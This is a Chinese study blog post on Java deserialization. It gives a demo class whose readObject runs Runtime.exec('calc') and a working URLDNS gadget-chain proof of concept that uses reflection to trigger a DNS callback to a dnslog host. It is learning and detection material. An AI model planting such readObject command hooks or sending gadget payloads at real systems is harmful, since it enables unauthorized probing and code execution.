java反序列化基础
闲下来研究一下反序列化(虽然目前也不算是闲下来哩),但是总不能一直当脚本小子哩。下面的内容不是完全原创的,借鉴的别人的,毕竟是学习笔记。
序列化与反序列化
其实在之前学习php的时候就学过了
序列化:对象 -> 字符串
反序列化:字符串 -> 对象
序列化的好处
(1) 能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。
(2) 利用序列化实现远程通信,在网络上传送对象的字节序列。
序列化与反序列化应用的场景
(1) 想把内存中的对象保存到一个文件中或者是数据库当中。
(2) 用套接字在网络上传输对象。
(3) 通过 RMI 传输对象的时候。
几种创建的序列化和反序列化协议
XML&SOAP
JSON
Protobuf
代码展示
类文件:Person.java
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person(){
}
// 构造函数
public Person(String name, int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
序列化文件 SerializationTest.java
package src;
import src.Person;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
System.out.println(person);
serialize(person);
}
}
反序列化文件 UnserializeTest.java
package src;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person = (Person)unserialize("ser.bin");
System.out.println(person);
}
}
运行结果
解析
- SerializationTest.java
这里我们将代码进行了封装,将序列化功能封装进了 serialize这个方法里面,在序列化当中,我们通过这个FileOutputStream输出流对象,将序列化的对象输出到ser.bin当中。再调用 oos 的writeObject方法,将对象进行序列化操作。
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
- UnserializeTest.java
进行反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
Serializable 接口
(1) 序列化类的属性没有实现 Serializable那么在序列化就会报错
只有实现 了Serializable或者 Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)
Serializable 接口是 Java 提供的序列化接口,它是一个空接口,所以其实我们不需要实现什么。
public interface Serializable {
}
Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。如果我们此处将 Serializable 接口删除掉的话,会导致如下结果。
(2) 在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象。
(3)一个实现 Serializable接口的子类也是可以被序列化的。
(4) 静态成员变量是不能被序列化
序列化是针对对象属性的,而静态成员变量是属于类的。
(5) transient 标识的对象成员变量不参与序列化
这里我们可以动手实操一下,将 Person.java中的name
加上transient
的类型标识。加完之后再跑我们的序列化与反序列化的两个程序,修改过程与运行结果如图所示。
引例
网上找了个引例,加深我对代码的理解哩。
(1) 入口类的readObject
直接调用危险方法
先创建一个恶意类Person
package src;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
String name;
int age;
public Person(String name,int age){
this.name = name;
this.age = age;
}
@Override
public String toString(){
return "Person{"+
"name='" + name +'\'' +
",age=" + age +
'}';
}
private void readObject(ObjectInputStream ois)throws IOException,ClassNotFoundException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}
private void readObject(ObjectInputStream ois)throws IOException,ClassNotFoundException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
这段代码就是弹计算器的。
先运行序列化程序 ———— “SerializationTest.java”,再运行反序列化程序 ———— “UnserializeTest.java”
这时候就会弹出计算器,也就是calc.exe
,是不是帅的飞起哈哈。
这是黑客最理想的情况,但是这种情况几乎不会出现。
(2) 入口参数中包含可控类,该类有危险方法,readObject
时调用
(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject
时调用
(4) 构造函数/静态代码块等类加载时隐式执行
URLDNS实战
其实还是半懂不懂的,跟着大佬做一做实战。
出发点:URLDNS 在 Java 复杂的反序列化漏洞当中足够简单;URLDNS 就是 ysoserial 中⼀个利⽤链的名字,但准确来说,这个其实不能称作“利⽤链”。
因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次 DNS 请求。
虽然这个“利⽤链”实际上是不能“利⽤”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时使⽤。
使⽤ Java 内置的类构造,对第三⽅库没有依赖。
在⽬标没有回显的时候,能够通过 DNS 请求得知是否存在反序列化漏洞 URL 类,调用openConnection
方法,到此处的时候,其实openConnection
不是常见函数,就已经难以利用了。
我们先去到 ysoserial 的项目当中,去看看它是如何构造 URLDNS 链的。
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
URL 是由 HashMap 的put
方法产生的,所以我们先跟进put
方法当中。put
方法之后又是调用了hash
方法;hash
方法则是调用了hashcode
这一函数。
现在我们来实战分析一下,现在双击shift,输入hashmap.java来看看源码。
URL 是由 HashMap 的put
方法产生的,所以我们先跟进put
方法当中。put
方法之后又是调用了hash
方法;hash
方法则是调用了hashcode
这一函数。
我们看到这个hashCode
函数的变量名是 key;那这个 key 是啥啊?
噢 ~ 原来 key 是hash
这一方法传进的参数!那我们前面写的 key 不就是这个东东吗 ~!
也就是put方法传入了一个key,最后hash方法中又调用了key的hashcode方法
hashmap.put(new URL("DNS生成的 URL,用dnslog就可以"),1);
// 传进去两个参数,key = 前面那串网址,value = 1
现在跟进URL,去看看 URL 跟进一堆之后的hashCode
方法是如何实现的。
跟进 URL,我们肯定是要去寻找 URL 调用的函数的函数(的函数,应该还有好几个的函数,就不写出来了,不然大家就晕了)的hashCode
方法。
在左边 Structure 直接寻找hashCode
方法,URL 中的hashCode
被handler
这一对象所调用,handler
又是URLStreamHandler
的抽象类。我们再去找URLStreamHandler
的hashCode
方法。
终于找到了,这个用于 URLDNS 的方法 ————getHostAddress
这⾥InetAddress.getByName(host)
的作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次 DNS 查询。到这⾥就不必要再跟了。
所以,⾄此,整个 URLDNS 的Gadget其实清晰⼜简单:
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
复现
SerializationTest.java文件下添加如下代码
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
hashmap.put(new URL("DNS生成的 URL,用dnslog就可以"),1);
serialize(hashmap);
我们先把它序列化,按照道理来说,这个过程应该什么都不会发生对吧。
但是确实收到了dnslog信息
还是从原理角度分析,我们回到 URL 这个对象,回到hashCode
这里。
我们发现,当hashCode
的值不等于 -1 的时候,函数就会直接return hashCode
而不执行hashCode = handler.hashCode(this);
。而一开始定义 HashMap 类的时候hashCode
的值为 -1,便是发起了请求。
所以我们在没有反序列化的情况下面,就收到了 DNS 请求,这是不正确的。
但是这里就涉及到关于反射的一个庞大知识体系,那个博主在这里也没有讲,直接放出poc
SerializationTest.java
package src;
import src.Person;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person = new Person("aa",22);
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
// 这里不要发起请求
URL url = new URL("http://h7xfte.dnslog.cn");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1);
serialize(hashmap);
}
}
反序列化的文件无需更改
接着我们运行序列化文件,是收不到 DNS 请求的,而当我们运行反序列化的文件时候,可以收到请求,这就代表着我们的 URLDNS 链构造成功了。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。后续可能会有评论区,不过也可以在github联系我。